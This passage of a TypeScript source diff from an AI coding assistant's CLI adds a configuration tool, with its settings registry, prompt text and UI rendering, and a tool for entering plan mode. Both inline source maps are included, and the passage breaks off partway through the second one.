+      const recording = await checkRecordingAvailability()
+      if (!recording.available) {
+        return {
+          data: {
+            success: false,
+            error:
+              recording.reason ??
+              'Voice mode is not available in this environment.',
+          },
+        }
+      }
+      if (!isVoiceStreamAvailable()) {
+        return {
+          data: {
+            success: false,
+            error:
+              'Voice mode requires a Claude.ai account. Please run /login to sign in.',
+          },
+        }
+      }
+      const deps = await checkVoiceDependencies()
+      if (!deps.available) {
+        return {
+          data: {
+            success: false,
+            error:
+              'No audio recording tool found.' +
+              (deps.installCommand ? ` Run: ${deps.installCommand}` : ''),
+          },
+        }
+      }
+      if (!(await requestMicrophonePermission())) {
+        let guidance: string
+        if (process.platform === 'win32') {
+          guidance = 'Settings \u2192 Privacy \u2192 Microphone'
+        } else if (process.platform === 'linux') {
+          guidance = "your system's audio settings"
+        } else {
+          guidance =
+            'System Settings \u2192 Privacy & Security \u2192 Microphone'
+        }
+        return {
+          data: {
+            success: false,
+            error: `Microphone access is denied. To enable it, go to ${guidance}, then try again.`,
+          },
+        }
+      }
+    }
+
+    const previousValue = getValue(config.source, path)
+
+    // 4. Write to storage
+    try {
+      if (config.source === 'global') {
+        const key = path[0]
+        if (!key) {
+          return {
+            data: {
+              success: false,
+              operation: 'set',
+              setting,
+              error: 'Invalid setting path',
+            },
+          }
+        }
+        saveGlobalConfig(prev => {
+          if (prev[key as keyof GlobalConfig] === finalValue) return prev
+          return { ...prev, [key]: finalValue }
+        })
+      } else {
+        const update = buildNestedObject(path, finalValue)
+        const result = updateSettingsForSource('userSettings', update)
+        if (result.error) {
+          return {
+            data: {
+              success: false,
+              operation: 'set',
+              setting,
+              error: result.error.message,
+            },
+          }
+        }
+      }
+
+      // 5a. Voice needs notifyChange so applySettingsChange resyncs
+      // AppState.settings (useVoiceEnabled reads settings.voiceEnabled)
+      // and the settings cache resets for the next /voice read.
+      if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
+        const { settingsChangeDetector } = await import(
+          '../../utils/settings/changeDetector.js'
+        )
+        settingsChangeDetector.notifyChange('userSettings')
+      }
+
+      // 5b. Sync to AppState if needed for immediate UI effect
+      if (config.appStateKey) {
+        const appKey = config.appStateKey
+        context.setAppState(prev => {
+          if (prev[appKey] === finalValue) return prev
+          return { ...prev, [appKey]: finalValue }
+        })
+      }
+
+      // Sync remoteControlAtStartup to AppState so the bridge reacts
+      // immediately (the config key differs from the AppState field name,
+      // so the generic appStateKey mechanism can't handle this).
+      if (setting === 'remoteControlAtStartup') {
+        const resolved = getRemoteControlAtStartup()
+        context.setAppState(prev => {
+          if (
+            prev.replBridgeEnabled === resolved &&
+            !prev.replBridgeOutboundOnly
+          )
+            return prev
+          return {
+            ...prev,
+            replBridgeEnabled: resolved,
+            replBridgeOutboundOnly: false,
+          }
+        })
+      }
+
+      logEvent('tengu_config_tool_changed', {
+        setting:
+          setting as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        value: String(
+          finalValue,
+        ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+
+      return {
+        data: {
+          success: true,
+          operation: 'set',
+          setting,
+          previousValue,
+          newValue: finalValue,
+        },
+      }
+    } catch (error) {
+      logError(error)
+      return {
+        data: {
+          success: false,
+          operation: 'set',
+          setting,
+          error: errorMessage(error),
+        },
+      }
+    }
+  },
+  mapToolResultToToolResultBlockParam(content: Output, toolUseID: string) {
+    if (content.success) {
+      if (content.operation === 'get') {
+        return {
+          tool_use_id: toolUseID,
+          type: 'tool_result' as const,
+          content: `${content.setting} = ${jsonStringify(content.value)}`,
+        }
+      }
+      return {
+        tool_use_id: toolUseID,
+        type: 'tool_result' as const,
+        content: `Set ${content.setting} to ${jsonStringify(content.newValue)}`,
+      }
+    }
+    return {
+      tool_use_id: toolUseID,
+      type: 'tool_result' as const,
+      content: `Error: ${content.error}`,
+      is_error: true,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)
+
+function getValue(source: 'global' | 'settings', path: string[]): unknown {
+  if (source === 'global') {
+    const config = getGlobalConfig()
+    const key = path[0]
+    if (!key) return undefined
+    return config[key as keyof GlobalConfig]
+  }
+  const settings = getInitialSettings()
+  let current: unknown = settings
+  for (const key of path) {
+    if (current && typeof current === 'object' && key in current) {
+      current = (current as Record<string, unknown>)[key]
+    } else {
+      return undefined
+    }
+  }
+  return current
+}
+
+function buildNestedObject(
+  path: string[],
+  value: unknown,
+): Record<string, unknown> {
+  if (path.length === 0) {
+    return {}
+  }
+  const key = path[0]!
+  if (path.length === 1) {
+    return { [key]: value }
+  }
+  return { [key]: buildNestedObject(path.slice(1), value) }
+}

src/tools/ConfigTool/UI.tsx

@@ -0,0 +1,38 @@
+import React from 'react';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { Text } from '../../ink.js';
+import { jsonStringify } from '../../utils/slowOperations.js';
+import type { Input, Output } from './ConfigTool.js';
+export function renderToolUseMessage(input: Partial<Input>): React.ReactNode {
+  if (!input.setting) return null;
+  if (input.value === undefined) {
+    return <Text dimColor>Getting {input.setting}</Text>;
+  }
+  return <Text dimColor>
+      Setting {input.setting} to {jsonStringify(input.value)}
+    </Text>;
+}
+export function renderToolResultMessage(content: Output): React.ReactNode {
+  if (!content.success) {
+    return <MessageResponse>
+        <Text color="error">Failed: {content.error}</Text>
+      </MessageResponse>;
+  }
+  if (content.operation === 'get') {
+    return <MessageResponse>
+        <Text>
+          <Text bold>{content.setting}</Text> = {jsonStringify(content.value)}
+        </Text>
+      </MessageResponse>;
+  }
+  return <MessageResponse>
+      <Text>
+        Set <Text bold>{content.setting}</Text> to{' '}
+        <Text bold>{jsonStringify(content.newValue)}</Text>
+      </Text>
+    </MessageResponse>;
+}
+export function renderToolUseRejectedMessage(): React.ReactNode {
+  return <Text color="warning">Config change rejected</Text>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIk1lc3NhZ2VSZXNwb25zZSIsIlRleHQiLCJqc29uU3RyaW5naWZ5IiwiSW5wdXQiLCJPdXRwdXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsImlucHV0IiwiUGFydGlhbCIsIlJlYWN0Tm9kZSIsInNldHRpbmciLCJ2YWx1ZSIsInVuZGVmaW5lZCIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwiY29udGVudCIsInN1Y2Nlc3MiLCJlcnJvciIsIm9wZXJhdGlvbiIsIm5ld1ZhbHVlIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBqc29uU3RyaW5naWZ5IH0gZnJvbSAnLi4vLi4vdXRpbHMvc2xvd09wZXJhdGlvbnMuanMnXG5pbXBvcnQgdHlwZSB7IElucHV0LCBPdXRwdXQgfSBmcm9tICcuL0NvbmZpZ1Rvb2wuanMnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZShpbnB1dDogUGFydGlhbDxJbnB1dD4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWlucHV0LnNldHRpbmcpIHJldHVybiBudWxsXG4gIGlmIChpbnB1dC52YWx1ZSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgcmV0dXJuIDxUZXh0IGRpbUNvbG9yPkdldHRpbmcge2lucHV0LnNldHRpbmd9PC9UZXh0PlxuICB9XG4gIHJldHVybiAoXG4gICAgPFRleHQgZGltQ29sb3I+XG4gICAgICBTZXR0aW5nIHtpbnB1dC5zZXR0aW5nfSB0byB7anNvblN0cmluZ2lmeShpbnB1dC52YWx1ZSl9XG4gICAgPC9UZXh0PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sUmVzdWx0TWVzc2FnZShjb250ZW50OiBPdXRwdXQpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWNvbnRlbnQuc3VjY2Vzcykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+RmFpbGVkOiB7Y29udGVudC5lcnJvcn08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgaWYgKGNvbnRlbnQub3BlcmF0aW9uID09PSAnZ2V0Jykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiA9IHtqc29uU3RyaW5naWZ5KGNvbnRlbnQudmFsdWUpfVxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgcmV0dXJuIChcbiAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgPFRleHQ+XG4gICAgICAgIFNldCA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiB0b3snICd9XG4gICAgICAgIDxUZXh0IGJvbGQ+e2pzb25TdHJpbmdpZnkoY29udGVudC5uZXdWYWx1ZSl9PC9UZXh0PlxuICAgICAgPC9UZXh0PlxuICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlKCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5Db25maWcgY2hhbmdlIHJlamVjdGVkPC9UZXh0PlxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxlQUFlLFFBQVEscUNBQXFDO0FBQ3JFLFNBQVNDLElBQUksUUFBUSxjQUFjO0FBQ25DLFNBQVNDLGFBQWEsUUFBUSwrQkFBK0I7QUFDN0QsY0FBY0MsS0FBSyxFQUFFQyxNQUFNLFFBQVEsaUJBQWlCO0FBRXBELE9BQU8sU0FBU0Msb0JBQW9CQSxDQUFDQyxLQUFLLEVBQUVDLE9BQU8sQ0FBQ0osS0FBSyxDQUFDLENBQUMsRUFBRUosS0FBSyxDQUFDUyxTQUFTLENBQUM7RUFDM0UsSUFBSSxDQUFDRixLQUFLLENBQUNHLE9BQU8sRUFBRSxPQUFPLElBQUk7RUFDL0IsSUFBSUgsS0FBSyxDQUFDSSxLQUFLLEtBQUtDLFNBQVMsRUFBRTtJQUM3QixPQUFPLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBQyxRQUFRLENBQUNMLEtBQUssQ0FBQ0csT0FBTyxDQUFDLEVBQUUsSUFBSSxDQUFDO0VBQ3REO0VBQ0EsT0FDRSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ2xCLGNBQWMsQ0FBQ0gsS0FBSyxDQUFDRyxPQUFPLENBQUMsSUFBSSxDQUFDUCxhQUFhLENBQUNJLEtBQUssQ0FBQ0ksS0FBSyxDQUFDO0FBQzVELElBQUksRUFBRSxJQUFJLENBQUM7QUFFWDtBQUVBLE9BQU8sU0FBU0UsdUJBQXVCQSxDQUFDQyxPQUFPLEVBQUVULE1BQU0sQ0FBQyxFQUFFTCxLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUN4RSxJQUFJLENBQUNLLE9BQU8sQ0FBQ0MsT0FBTyxFQUFFO0lBQ3BCLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU8sQ0FBQyxRQUFRLENBQUNELE9BQU8sQ0FBQ0UsS0FBSyxDQUFDLEVBQUUsSUFBSTtBQUN6RCxNQUFNLEVBQUUsZUFBZSxDQUFDO0VBRXRCO0VBQ0EsSUFBSUYsT0FBTyxDQUFDRyxTQUFTLEtBQUssS0FBSyxFQUFFO0lBQy9CLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJO0FBQ2IsVUFBVSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0gsT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDUCxhQUFhLENBQUNXLE9BQU8sQ0FBQ0gsS0FBSyxDQUFDO0FBQzdFLFFBQVEsRUFBRSxJQUFJO0FBQ2QsTUFBTSxFQUFFLGVBQWUsQ0FBQztFQUV0QjtFQUNBLE9BQ0UsQ0FBQyxlQUFlO0FBQ3BCLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsWUFBWSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0csT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDLEdBQUc7QUFDdEQsUUFBUSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ1AsYUFBYSxDQUFDVyxPQUFPLENBQUNJLFFBQVEsQ0FBQyxDQUFDLEVBQUUsSUFBSTtBQUMxRCxNQUFNLEVBQUUsSUFBSTtBQUNaLElBQUksRUFBRSxlQUFlLENBQUM7QUFFdEI7QUFFQSxPQUFPLFNBQVNDLDRCQUE0QkEsQ0FBQSxDQUFFLEVBQUVuQixLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUM5RCxPQUFPLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsc0JBQXNCLEVBQUUsSUFBSSxDQUFDO0FBQzVEIiwiaWdub3JlTGlzdCI6W119

src/tools/ConfigTool/constants.ts

@@ -0,0 +1 @@
+export const CONFIG_TOOL_NAME = 'Config'

src/tools/ConfigTool/prompt.ts

@@ -0,0 +1,93 @@
+import { feature } from 'bun:bundle'
+import { getModelOptions } from '../../utils/model/modelOptions.js'
+import { isVoiceGrowthBookEnabled } from '../../voice/voiceModeEnabled.js'
+import {
+  getOptionsForSetting,
+  SUPPORTED_SETTINGS,
+} from './supportedSettings.js'
+
+export const DESCRIPTION = 'Get or set Claude Code configuration settings.'
+
+/**
+ * Generate the prompt documentation from the registry
+ */
+export function generatePrompt(): string {
+  const globalSettings: string[] = []
+  const projectSettings: string[] = []
+
+  for (const [key, config] of Object.entries(SUPPORTED_SETTINGS)) {
+    // Skip model - it gets its own section with dynamic options
+    if (key === 'model') continue
+    // Voice settings are registered at build-time but gated by GrowthBook
+    // at runtime. Hide from model prompt when the kill-switch is on.
+    if (
+      feature('VOICE_MODE') &&
+      key === 'voiceEnabled' &&
+      !isVoiceGrowthBookEnabled()
+    )
+      continue
+
+    const options = getOptionsForSetting(key)
+    let line = `- ${key}`
+
+    if (options) {
+      line += `: ${options.map(o => `"${o}"`).join(', ')}`
+    } else if (config.type === 'boolean') {
+      line += `: true/false`
+    }
+
+    line += ` - ${config.description}`
+
+    if (config.source === 'global') {
+      globalSettings.push(line)
+    } else {
+      projectSettings.push(line)
+    }
+  }
+
+  const modelSection = generateModelSection()
+
+  return `Get or set Claude Code configuration settings.
+
+  View or change Claude Code settings. Use when the user requests configuration changes, asks about current settings, or when adjusting a setting would benefit them.
+
+
+## Usage
+- **Get current value:** Omit the "value" parameter
+- **Set new value:** Include the "value" parameter
+
+## Configurable settings list
+The following settings are available for you to change:
+
+### Global Settings (stored in ~/.claude.json)
+${globalSettings.join('\n')}
+
+### Project Settings (stored in settings.json)
+${projectSettings.join('\n')}
+
+${modelSection}
+## Examples
+- Get theme: { "setting": "theme" }
+- Set dark theme: { "setting": "theme", "value": "dark" }
+- Enable vim mode: { "setting": "editorMode", "value": "vim" }
+- Enable verbose: { "setting": "verbose", "value": true }
+- Change model: { "setting": "model", "value": "opus" }
+- Change permission mode: { "setting": "permissions.defaultMode", "value": "plan" }
+`
+}
+
+function generateModelSection(): string {
+  try {
+    const options = getModelOptions()
+    const lines = options.map(o => {
+      const value = o.value === null ? 'null/"default"' : `"${o.value}"`
+      return `  - ${value}: ${o.descriptionForModel ?? o.description}`
+    })
+    return `## Model
+- model - Override the default model. Available options:
+${lines.join('\n')}`
+  } catch {
+    return `## Model
+- model - Override the default model (sonnet, opus, haiku, best, or full model ID)`
+  }
+}

src/tools/ConfigTool/supportedSettings.ts

@@ -0,0 +1,211 @@
+import { feature } from 'bun:bundle'
+import { getRemoteControlAtStartup } from '../../utils/config.js'
+import {
+  EDITOR_MODES,
+  NOTIFICATION_CHANNELS,
+  TEAMMATE_MODES,
+} from '../../utils/configConstants.js'
+import { getModelOptions } from '../../utils/model/modelOptions.js'
+import { validateModel } from '../../utils/model/validateModel.js'
+import { THEME_NAMES, THEME_SETTINGS } from '../../utils/theme.js'
+
+/** AppState keys that can be synced for immediate UI effect */
+type SyncableAppStateKey = 'verbose' | 'mainLoopModel' | 'thinkingEnabled'
+
+type SettingConfig = {
+  source: 'global' | 'settings'
+  type: 'boolean' | 'string'
+  description: string
+  path?: string[]
+  options?: readonly string[]
+  getOptions?: () => string[]
+  appStateKey?: SyncableAppStateKey
+  /** Async validation called when writing/setting a value */
+  validateOnWrite?: (v: unknown) => Promise<{ valid: boolean; error?: string }>
+  /** Format value when reading/getting for display */
+  formatOnRead?: (v: unknown) => unknown
+}
+
+export const SUPPORTED_SETTINGS: Record<string, SettingConfig> = {
+  theme: {
+    source: 'global',
+    type: 'string',
+    description: 'Color theme for the UI',
+    options: feature('AUTO_THEME') ? THEME_SETTINGS : THEME_NAMES,
+  },
+  editorMode: {
+    source: 'global',
+    type: 'string',
+    description: 'Key binding mode',
+    options: EDITOR_MODES,
+  },
+  verbose: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Show detailed debug output',
+    appStateKey: 'verbose',
+  },
+  preferredNotifChannel: {
+    source: 'global',
+    type: 'string',
+    description: 'Preferred notification channel',
+    options: NOTIFICATION_CHANNELS,
+  },
+  autoCompactEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Auto-compact when context is full',
+  },
+  autoMemoryEnabled: {
+    source: 'settings',
+    type: 'boolean',
+    description: 'Enable auto-memory',
+  },
+  autoDreamEnabled: {
+    source: 'settings',
+    type: 'boolean',
+    description: 'Enable background memory consolidation',
+  },
+  fileCheckpointingEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Enable file checkpointing for code rewind',
+  },
+  showTurnDuration: {
+    source: 'global',
+    type: 'boolean',
+    description:
+      'Show turn duration message after responses (e.g., "Cooked for 1m 6s")',
+  },
+  terminalProgressBarEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Show OSC 9;4 progress indicator in supported terminals',
+  },
+  todoFeatureEnabled: {
+    source: 'global',
+    type: 'boolean',
+    description: 'Enable todo/task tracking',
+  },
+  model: {
+    source: 'settings',
+    type: 'string',
+    description: 'Override the default model',
+    appStateKey: 'mainLoopModel',
+    getOptions: () => {
+      try {
+        return getModelOptions()
+          .filter(o => o.value !== null)
+          .map(o => o.value as string)
+      } catch {
+        return ['sonnet', 'opus', 'haiku']
+      }
+    },
+    validateOnWrite: v => validateModel(String(v)),
+    formatOnRead: v => (v === null ? 'default' : v),
+  },
+  alwaysThinkingEnabled: {
+    source: 'settings',
+    type: 'boolean',
+    description: 'Enable extended thinking (false to disable)',
+    appStateKey: 'thinkingEnabled',
+  },
+  'permissions.defaultMode': {
+    source: 'settings',
+    type: 'string',
+    description: 'Default permission mode for tool usage',
+    options: feature('TRANSCRIPT_CLASSIFIER')
+      ? ['default', 'plan', 'acceptEdits', 'dontAsk', 'auto']
+      : ['default', 'plan', 'acceptEdits', 'dontAsk'],
+  },
+  language: {
+    source: 'settings',
+    type: 'string',
+    description:
+      'Preferred language for Claude responses and voice dictation (e.g., "japanese", "spanish")',
+  },
+  teammateMode: {
+    source: 'global',
+    type: 'string',
+    description:
+      'How to spawn teammates: "tmux" for traditional tmux, "in-process" for same process, "auto" to choose automatically',
+    options: TEAMMATE_MODES,
+  },
+  ...(process.env.USER_TYPE === 'ant'
+    ? {
+        classifierPermissionsEnabled: {
+          source: 'settings' as const,
+          type: 'boolean' as const,
+          description:
+            'Enable AI-based classification for Bash(prompt:...) permission rules',
+        },
+      }
+    : {}),
+  ...(feature('VOICE_MODE')
+    ? {
+        voiceEnabled: {
+          source: 'settings' as const,
+          type: 'boolean' as const,
+          description: 'Enable voice dictation (hold-to-talk)',
+        },
+      }
+    : {}),
+  ...(feature('BRIDGE_MODE')
+    ? {
+        remoteControlAtStartup: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Enable Remote Control for all sessions (true | false | default)',
+          formatOnRead: () => getRemoteControlAtStartup(),
+        },
+      }
+    : {}),
+  ...(feature('KAIROS') || feature('KAIROS_PUSH_NOTIFICATION')
+    ? {
+        taskCompleteNotifEnabled: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Push to your mobile device when idle after Claude finishes (requires Remote Control)',
+        },
+        inputNeededNotifEnabled: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Push to your mobile device when a permission prompt or question is waiting (requires Remote Control)',
+        },
+        agentPushNotifEnabled: {
+          source: 'global' as const,
+          type: 'boolean' as const,
+          description:
+            'Allow Claude to push to your mobile device when it deems it appropriate (requires Remote Control)',
+        },
+      }
+    : {}),
+}
+
+export function isSupported(key: string): boolean {
+  return key in SUPPORTED_SETTINGS
+}
+
+export function getConfig(key: string): SettingConfig | undefined {
+  return SUPPORTED_SETTINGS[key]
+}
+
+export function getAllKeys(): string[] {
+  return Object.keys(SUPPORTED_SETTINGS)
+}
+
+export function getOptionsForSetting(key: string): string[] | undefined {
+  const config = SUPPORTED_SETTINGS[key]
+  if (!config) return undefined
+  if (config.options) return [...config.options]
+  if (config.getOptions) return config.getOptions()
+  return undefined
+}
+
+export function getPath(key: string): string[] {
+  const config = SUPPORTED_SETTINGS[key]
+  return config?.path ?? key.split('.')
+}

src/tools/EnterPlanModeTool/EnterPlanModeTool.ts

@@ -0,0 +1,126 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import {
+  getAllowedChannels,
+  handlePlanModeTransition,
+} from '../../bootstrap/state.js'
+import type { Tool } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { applyPermissionUpdate } from '../../utils/permissions/PermissionUpdate.js'
+import { prepareContextForPlanMode } from '../../utils/permissions/permissionSetup.js'
+import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
+import { ENTER_PLAN_MODE_TOOL_NAME } from './constants.js'
+import { getEnterPlanModeToolPrompt } from './prompt.js'
+import {
+  renderToolResultMessage,
+  renderToolUseMessage,
+  renderToolUseRejectedMessage,
+} from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    // No parameters needed
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    message: z.string().describe('Confirmation that plan mode was entered'),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+export const EnterPlanModeTool: Tool<InputSchema, Output> = buildTool({
+  name: ENTER_PLAN_MODE_TOOL_NAME,
+  searchHint: 'switch to plan mode to design an approach before coding',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return 'Requests permission to enter plan mode for complex tasks requiring exploration and design'
+  },
+  async prompt() {
+    return getEnterPlanModeToolPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return ''
+  },
+  shouldDefer: true,
+  isEnabled() {
+    // When --channels is active, ExitPlanMode is disabled (its approval
+    // dialog needs the terminal). Disable entry too so plan mode isn't a
+    // trap the model can enter but never leave.
+    if (
+      (feature('KAIROS') || feature('KAIROS_CHANNELS')) &&
+      getAllowedChannels().length > 0
+    ) {
+      return false
+    }
+    return true
+  },
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly() {
+    return true
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  renderToolUseRejectedMessage,
+  async call(_input, context) {
+    if (context.agentId) {
+      throw new Error('EnterPlanMode tool cannot be used in agent contexts')
+    }
+
+    const appState = context.getAppState()
+    handlePlanModeTransition(appState.toolPermissionContext.mode, 'plan')
+
+    // Update the permission mode to 'plan'. prepareContextForPlanMode runs
+    // the classifier activation side effects when the user's defaultMode is
+    // 'auto' — see permissionSetup.ts for the full lifecycle.
+    context.setAppState(prev => ({
+      ...prev,
+      toolPermissionContext: applyPermissionUpdate(
+        prepareContextForPlanMode(prev.toolPermissionContext),
+        { type: 'setMode', mode: 'plan', destination: 'session' },
+      ),
+    }))
+
+    return {
+      data: {
+        message:
+          'Entered plan mode. You should now focus on exploring the codebase and designing an implementation approach.',
+      },
+    }
+  },
+  mapToolResultToToolResultBlockParam({ message }, toolUseID) {
+    const instructions = isPlanModeInterviewPhaseEnabled()
+      ? `${message}
+
+DO NOT write or edit any files except the plan file. Detailed workflow instructions will follow.`
+      : `${message}
+
+In plan mode, you should:
+1. Thoroughly explore the codebase to understand existing patterns
+2. Identify similar features and architectural approaches
+3. Consider multiple approaches and their trade-offs
+4. Use AskUserQuestion if you need to clarify the approach
+5. Design a concrete implementation strategy
+6. When ready, use ExitPlanMode to present your plan for approval
+
+Remember: DO NOT write or edit any files yet. This is a read-only exploration and planning phase.`
+
+    return {
+      type: 'tool_result',
+      content: instructions,
+      tool_use_id: toolUseID,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/EnterPlanModeTool/UI.tsx

@@ -0,0 +1,33 @@
+import * as React from 'react';
+import { BLACK_CIRCLE } from 'src/constants/figures.js';
+import { getModeColor } from 'src/utils/permissions/PermissionMode.js';
+import { Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { ThemeName } from '../../utils/theme.js';
+import type { Output } from './EnterPlanModeTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return null;
+}
+export function renderToolResultMessage(_output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
+  theme: ThemeName;
+}): React.ReactNode {
+  return <Box flexDirection="column" marginTop={1}>
+      <Box flexDirection="row">
+        <Text color={getModeColor('plan')}>{BLACK_CIRCLE}</Text>
+        <Text> Entered plan mode</Text>
+      </Box>
+      <Box paddingLeft={2}>
+        <Text dimColor>
+          Claude is now exploring and designing an implementation approach.
+        </Text>
+      </Box>
+    </Box>;
+}
+export function renderToolUseRejectedMessage(): React.ReactNode {
+  return <Box flexDirection="row" marginTop={1}>
+      <Text color={getModeColor('default')}>{BLACK_CIRCLE}</Text>
+      <Text> User declined to enter plan mode</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJMQUNLX0NJUkNMRSIsImdldE1vZGVDb2xvciIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIl9vdXRwdXQiLCJfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJfb3B0aW9ucyIsInRoZW1lIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJMQUNLX0NJUkNMRSB9IGZyb20gJ3NyYy9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IGdldE1vZGVDb2xvciB9IGZyb20gJ3NyYy91dGlscy9wZXJtaXNzaW9ucy9QZXJtaXNzaW9uTW9kZS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyUGxhbk1vZGVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIG51bGxcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBfb3V0cHV0OiBPdXRwd